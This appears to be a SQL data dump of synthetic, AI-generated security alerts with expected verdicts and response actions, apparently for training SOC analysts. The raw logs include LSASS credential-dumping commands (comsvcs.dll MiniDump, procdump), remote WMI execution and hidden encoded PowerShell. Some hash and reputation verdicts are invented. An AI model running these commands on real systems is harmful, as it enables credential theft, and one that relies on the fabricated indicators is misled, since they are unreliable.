INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2116, 'Suspicious MSHTA Execution Blocked', 'medium', 'Sysmon', 'MSHTA executed a script from a local file which is typically associated with malicious actions, but the file was verified as internally developed.', 'Malware', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:23:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.50\",\"username\":\"bhall\",\"hostname\":\"SERVER-2\",\"command_line\":\"mshta C:\\\\scripts\\\\internal_tool.html\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta C:\\\\scripts\\\\internal_tool.html\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File identified as a legitimate internal tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The MSHTA execution was part of a maintenance script routinely used by IT.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2117, 'Regsvr32 Executed With Suspicious DLL', 'high', 'SentinelOne', 'Regsvr32 executed a DLL from a network share, resembling a typical LOLBin technique. The file was determined to be a legitimate update.', 'Lateral Movement', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:10:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.34\",\"dst_ip\":\"192.168.2.56\",\"username\":\"mjohnson\",\"hostname\":\"WORKSTATION-3\",\"command_line\":\"regsvr32 /s \\\\\\\\192.168.2.56\\\\updates\\\\update.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32 /s \\\\\\\\192.168.2.56\\\\updates\\\\update.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"The DLL was verified as part of an authorized update procedure\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.56\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address for a network share\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Regsvr32 execution was part of a routine update deployment from a trusted network share.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2118, 'Fileless PowerShell Malware Detected on Internal Network', 'critical', 'CrowdStrike', 'A sophisticated fileless malware attack was detected utilizing PowerShell scripts to execute malicious payloads directly in memory. The malware attempted to establish a multi-hop C2 channel through Slack.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:34:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.10.15.23\",\"dst_ip\":\"203.0.113.89\",\"username\":\"jdoe\",\"hostname\":\"workstation-12\",\"command_line\":\"powershell.exe -nop -w hidden -enc W3BhdGg6IFN5c3RlbS5JblJlZ2lzdHJ5U3RhdHVz\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"domain\":\"api.slack.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 112 times for suspicious C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc W3BhdGg6IFN5c3RlbS5JblJlZ2lzdHJ5U3RhdHVz\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known PowerShell obfuscation pattern associated with APT activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to a known fileless malware variant\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"api.slack.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate Slack API domain\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"10.10.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detection of PowerShell execution with encoded commands and external C2 contact indicates a sophisticated fileless malware attack.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2119, 'Credential Dumping Attempt via LSASS Memory Access', 'high', 'SentinelOne', 'Detected an unauthorized access attempt to LSASS.exe memory, suggesting a credential dumping attempt using advanced techniques to evade detection.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.20.30.40\",\"dst_ip\":\"N/A\",\"username\":\"admin\",\"hostname\":\"server-01\",\"command_line\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 1234 C:\\\\Windows\\\\Temp\\\\dump.dmp full\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 1234 C:\\\\Windows\\\\Temp\\\\dump.dmp full\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command line pattern matches credential dumping techniques\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Empty file hash often used in memory-only attacks\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of rundll32.exe to access LSASS memory is a known technique for credential dumping.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2120, 'Lateral Movement via WMI Detected', 'critical', 'Carbon Black', 'Detected suspicious WMI execution suggesting lateral movement attempts within the network, possibly indicating a coordinated attack.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T23:55:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.50.60.70\",\"dst_ip\":\"10.50.60.71\",\"username\":\"svc_account\",\"hostname\":\"workstation-08\",\"command_line\":\"wmic /node:10.50.60.71 process call create \\\"cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\whoami.txt\\\"\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.50.60.70\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the originating host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.50.60.71\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target host\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.50.60.71 process call create \\\"cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\whoami.txt\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command pattern associated with lateral movement techniques\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI for remote command execution is indicative of lateral movement within the network.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2121, 'DGA Domain Detected in DNS Traffic', 'high', 'Sysmon', 'Detected DNS queries to a domain generated using Domain Generation Algorithm (DGA), commonly used by malware to evade detection and maintain C2 communication.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:22:09Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.75.80.85\",\"dst_ip\":\"198.51.100.47\",\"username\":\"network_user\",\"hostname\":\"laptop-05\",\"domain\":\"dkjf9sd8fkj.example\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.75.80.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the infected device\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"dkjf9sd8fkj.example\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain recognized as DGA-generated, part of a known botnet\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.47\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with command and control servers\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"DGA domains are a known indicator of botnet activity, used to maintain C2 communication by malware.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2122, 'Suspicious Memory-Only Malware Execution Detected', 'critical', 'CrowdStrike', 'Detected advanced malware execution directly from memory, utilizing process hollowing techniques to evade traditional file-based detection mechanisms.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:12:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"203.0.113.77\",\"username\":\"malicious_user\",\"hostname\":\"endpoint-03\",\"command_line\":\"svchost.exe -k netsvcs\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised endpoint\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple malware campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"svchost.exe -k netsvcs\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Execution pattern matches process hollowing technique\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Associated with known in-memory malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Memory-only execution with process hollowing is a hallmark of sophisticated malware, bypassing traditional detection.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2123, 'Sophisticated Fileless Malware Detected via PowerShell', 'critical', 'CrowdStrike', 'A fileless malware attack using PowerShell has been detected on a critical server. The attack involved the use of a memory-only payload executed via PowerShell scripts.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.1.1.5\",\"username\":\"svc_admin\",\"hostname\":\"finance-server-01\",\"command_line\":\"powershell -NoProfile -ExecutionPolicy Bypass -Command $payload = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\'aGVsbG8gd29ybGQ=\')); iex $payload\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 947 times for various malware attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -NoProfile -ExecutionPolicy Bypass -Command $payload = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\'aGVsbG8gd29ybGQ=\')); iex $payload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with fileless malware payloads\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to known malicious PowerShell scripts\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of PowerShell with encoded commands and known malicious hash indicates a sophisticated fileless malware attack.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2124, 'Credential Dumping Detected from LSASS on Critical Server', 'critical', 'SentinelOne', 'An attacker attempted to dump credentials from the LSASS process on a domain controller using a suspicious tool.', 'Credential Attack', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.2.2.15\",\"username\":\"admin_john\",\"hostname\":\"dc1.corp.local\",\"command_line\":\"procdump.exe -accepteula -ma lsass.exe C:\\\\Windows\\\\Temp\\\\lsass.dmp\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 523 times for credential theft activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"procdump.exe -accepteula -ma lsass.exe C:\\\\Windows\\\\Temp\\\\lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command matches known credential dumping techniques\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with tools for dumping LSASS process memory\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of Procdump on LSASS and the associated OSINT findings confirm this as a credential dumping attempt.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2125, 'Lateral Movement Detected via WMI', 'high', 'Carbon Black', 'A potential lateral movement was detected involving the use of WMI to execute commands on a remote host within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.15\",\"dst_ip\":\"10.1.1.20\",\"username\":\"jane_doe\",\"hostname\":\"workstation-02\",\"command_line\":\"wmic /node:10.1.1.20 process call create \'cmd.exe /c whoami\'\",\"file_hash\":\"f1e269ba5ba1c4d4e5c9e6c7d0f6b8a1\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Destination IP is an internal address within the network\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.1.1.20 process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"WMI commands used for lateral movement\"}}],\"expected_actions\":[\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI to execute remote commands is indicative of lateral movement within the network.\"}', 'Expert', 'EDR', 9, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2126, 'Suspicious Network Traffic to DGA Domain', 'high', 'Sysmon', 'An unusual network connection was detected from a corporate machine to a domain generated by a Domain Generation Algorithm (DGA), indicating potential C2 communication.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:21:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.3.3.7\",\"dst_ip\":\"192.0.2.123\",\"username\":\"alice_tech\",\"hostname\":\"dev-machine-03\",\"domain\":\"xj7f9kd.example.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.3.3.7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.0.2.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple C2 servers\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"xj7f9kd.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain generated by a known DGA pattern\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The domain matched DGA patterns, commonly used by malware for C2 communications.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2127, 'Lateral Movement Detected via Fileless WMI Attack', 'critical', 'CrowdStrike', 'A fileless attack using WMI was detected, indicating lateral movement attempts on the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.2.1.5\",\"dst_ip\":\"10.2.1.10\",\"username\":\"admin_karen\",\"hostname\":\"data-center-01\",\"command_line\":\"wmic /node:10.2.1.10 process call create \'powershell -exec bypass -enc JABwAG8AdwBlAHIAUwBoAGUAbABsACAALQBuAG8AcAByAG8AZgBpAGwAZQAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAnACAAJAB5AG8AdQByAF8AYwBvAG0AbQBhAG4AZAA=\'\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.2.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.2.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Destination IP is an internal address within the network\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.2.1.10 process call create \'powershell -exec bypass -enc JABwAG8AdwBlAHIAUwBoAGUAbABsACAALQBuAG8AcAByAG8AZgBpAGwAZQAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAnACAAJAB5AG8AdQByAF8AYwBvAG0AbQBhAG4AZAA=\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of fileless lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI with encoded PowerShell commands suggests an attempt at stealthy lateral movement.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2128, 'Advanced PowerShell Fileless Malware Detected via WMI', 'critical', 'CrowdStrike', 'A PowerShell-based fileless malware was detected attempting lateral movement through WMI. The attack leveraged process hollowing and memory-only payloads.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:25:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.20\",\"username\":\"jdoe\",\"hostname\":\"CORP-DC01\",\"command_line\":\"powershell -NoP -NonI -W Hidden -Enc aW1wb3J0LW1vZHVsZSAgU3lzdGVtLk5ldC5XaW5kb3dzLl1N\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -NoP -NonI -W Hidden -Enc aW1wb3J0LW1vZHVsZSAgU3lzdGVtLk5ldC5XaW5kb3dzLl1N\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell script indicative of fileless malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of known malware campaign\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command and associated file hash confirm the presence of fileless malware.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2129, 'Credential Dumping via LSASS Memory Access', 'high', 'SentinelOne', 'An unauthorized access to LSASS memory was detected, indicating a possible credential dumping attempt using obfuscated techniques.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"admin\",\"hostname\":\"SERVER01\",\"command_line\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 3728 C:\\\\Temp\\\\lsass.dmp full\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in credential dumping\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 3728 C:\\\\Temp\\\\lsass.dmp full\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for LSASS dumping, indicating credential theft\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious credential dumping tool\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of rundll32 with comsvcs.dll and associated hash confirms credential dumping activity.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2130, 'Multi-Hop C2 Communication via Discord Detected', 'critical', 'Carbon Black', 'Malicious communication with a command-and-control server through Discord was detected, employing fast-flux DNS and heavy obfuscation.', 'Data Exfil', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"104.16.59.37\",\"username\":\"user1\",\"hostname\":\"WORKSTATION-01\",\"domain\":\"discordapp.com\",\"url\":\"https://discordapp.com/api/webhooks/1234567890/abcdefghij\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address communicating with external service\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"discordapp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain used for legitimate and malicious C2 communications\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://discordapp.com/api/webhooks/1234567890/abcdefghij\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with C2 activity via Discord\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The C2 communication pattern and use of Discord webhooks indicate exfiltration through legitimate services.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2131, 'DGA Domain Usage Indicative of C2 Communication', 'high', 'Sysmon', 'Detected use of a domain generation algorithm (DGA) domain for command-and-control communication, indicative of nation-state activity.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:25Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.50\",\"dst_ip\":\"203.0.113.89\",\"username\":\"svc_account\",\"hostname\":\"BACKUP-SERVER\",\"domain\":\"xyz1234abcd.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious network activity\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xyz1234abcd.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"DGA domain used in known C2 infrastructure\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 communications\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of a DGA domain with associated malicious IP confirms command-and-control channel establishment.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
